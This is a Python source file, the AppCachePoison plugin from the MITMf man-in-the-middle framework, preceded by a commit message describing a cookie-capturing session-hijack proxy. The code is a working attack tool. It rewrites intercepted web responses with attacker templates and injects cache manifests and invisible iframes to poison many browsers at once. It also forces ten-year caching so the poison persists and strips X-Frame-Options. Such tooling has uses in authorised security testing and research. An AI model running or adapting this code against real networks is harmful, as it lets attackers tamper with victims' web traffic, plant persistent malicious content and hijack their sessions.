MITMf/plugins/AppCachePoison.py
byt3bl33d3r 79025dc77e Initial working PoC for the Ferret-NG plugin that will replace the SessionHijacker plugin: it will capture cookies and trasparently feed them to the proxy it starts up on port 10010 (by default), this way we just have to connect to the proxy, browse to the same website as the victim and we will automatically hijack their session! \o/
The way MITMf hooks SSLstrip's functions has been modified to improve plugin code readability, additionally corrected some useless function hooks that were placed in early framework realeases and never removed.

Replace plugin has been given it's own section in the config file

currently the BeedAutorun and Javapwn plugins have to be cleaned up...

BrowserProfile plugin's Pinlady code has been updated to the latest version (v0.9.0) and will now detect Flash player's version

Javapwn plugin will be renamed to BrowserPwn and will support Flash exploits too , as supposed to only Java exploits

Since we now have a built in SMB server, removed options to specify a host in the SMBauth plugin

Tweaked the output of some plugins
2015-05-11 03:13:45 +02:00

203 lines
8.5 KiB
Python

#!/usr/bin/env python2.7
# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
# USA
#
import logging
import re
import os.path
import time
import sys
from datetime import date
from plugins.plugin import Plugin
from core.sslstrip.URLMonitor import URLMonitor
mitmf_logger = logging.getLogger("mitmf")
class AppCachePlugin(Plugin):
name = "AppCachePoison"
optname = "appoison"
desc = "Performs App Cache Poisoning attacks"
version = "0.3"
has_opts = False
def initialize(self, options):
self.options = options
self.mass_poisoned_browsers = []
self.urlMonitor = URLMonitor.getInstance()
self.urlMonitor.setAppCachePoisoning()
def serverResponse(self, response, request, data):
#This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future
self.app_config = self.config['AppCachePoison'] # so we reload the config on each request
url = request.client.uri
req_headers = request.client.getAllHeaders()
headers = request.client.responseHeaders
ip = request.client.getClientIP()
#########################################################################
if "enable_only_in_useragents" in self.app_config:
regexp = self.app_config["enable_only_in_useragents"]
if regexp and not re.search(regexp,req_headers["user-agent"]):
mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"]))
return {'response': response, 'request': request, 'data': data}
urls = self.urlMonitor.getRedirectionSet(url)
mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls))
(name,s,element,url) = self.getSectionForUrls(urls)
if s is False:
data = self.tryMassPoison(url, data, headers, req_headers, ip)
return {'response': response, 'request': request, 'data': data}
mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name))
p = self.getTemplatePrefix(s)
if element == 'tamper':
mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to body
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
# add manifest reference
data = re.sub(re.compile("<html",re.IGNORECASE),"<html manifest=\"" + self.getManifestUrl(s)+"\"", data)
elif element == "manifest":
mitmf_logger.info("{} [{}] Poisoning manifest URL".format(ip, self.name))
data = self.getSpoofedManifest(url, s)
headers.setRawHeaders("Content-Type", ["text/cache-manifest"])
elif element == "raw": # raw resource to modify, it does not have to be html
mitmf_logger.info("{} [{}] Poisoning raw URL".format(ip, self.name))
if os.path.exists(p + '.replace'): # replace whole content
f = open(p + '.replace','r')
data = self.decorate(f.read(), s)
f.close()
elif os.path.exists(p + '.append'): # append file to body
f = open(p + '.append','r')
appendix = self.decorate(f.read(), s)
f.close()
# append to response body
data += appendix
self.cacheForFuture(headers)
self.removeDangerousHeaders(headers)
return {'response': response, 'request': request, 'data': data}
def tryMassPoison(self, url, data, headers, req_headers, ip):
browser_id = ip + req_headers.get("user-agent", "")
if not 'mass_poison_url_match' in self.app_config: # no url
return data
if browser_id in self.mass_poisoned_browsers: #already poisoned
return data
if not headers.hasHeader('content-type') or not re.search('html(;|$)', headers.getRawHeaders('content-type')[0]): #not HTML
return data
if 'mass_poison_useragent_match' in self.app_config and not "user-agent" in req_headers:
return data
if not re.search(self.app_config['mass_poison_useragent_match'], req_headers['user-agent']): #different UA
return data
if not re.search(self.app_config['mass_poison_url_match'], url): #different url
return data
mitmf_logger.debug("[{}] Adding AppCache mass poison for URL {}, id {}".format(self.name, url, browser_id))
appendix = self.getMassPoisonHtml()
data = re.sub(re.compile("</body>",re.IGNORECASE),appendix + "</body>", data)
self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip
return data
def getMassPoisonHtml(self):
html = "<div style=\"position:absolute;left:-100px\">"
for i in self.app_config:
if isinstance(self.app_config[i], dict):
if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False):
html += "<iframe sandbox=\"\" style=\"opacity:0;visibility:hidden\" width=\"1\" height=\"1\" src=\"" + self.app_config[i]['tamper_url'] + "\"></iframe>"
return html + "</div>"
def cacheForFuture(self, headers):
ten_years = 315569260
headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)])
headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh
in_ten_years = date.fromtimestamp(time.time() + ten_years)
headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")])
def removeDangerousHeaders(self, headers):
headers.removeHeader("X-Frame-Options")
def getSpoofedManifest(self, url, section):
p = self.getTemplatePrefix(section)
if not os.path.exists(p+'.manifest'):
p = self.getDefaultTemplatePrefix()
f = open(p + '.manifest', 'r')
manifest = f.read()
f.close()
return self.decorate(manifest, section)
def decorate(self, content, section):
for i in section:
content = content.replace("%%"+i+"%%", section[i])
return content
def getTemplatePrefix(self, section):
if section.has_key('templates'):
return self.app_config['templates_path'] + '/' + section['templates']
return self.getDefaultTemplatePrefix()
def getDefaultTemplatePrefix(self):
return self.app_config['templates_path'] + '/default'
def getManifestUrl(self, section):
return section.get("manifest_url",'/robots.txt')
def getSectionForUrls(self, urls):
for url in urls:
for i in self.app_config:
if isinstance(self.app_config[i], dict): #section
section = self.app_config[i]
name = i
if section.get('tamper_url',False) == url:
return (name, section, 'tamper',url)
if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url):
return (name, section, 'tamper',url)
if section.get('manifest_url',False) == url:
return (name, section, 'manifest',url)
if section.get('raw_url',False) == url:
return (name, section, 'raw',url)
return (None, False,'',urls.copy().pop())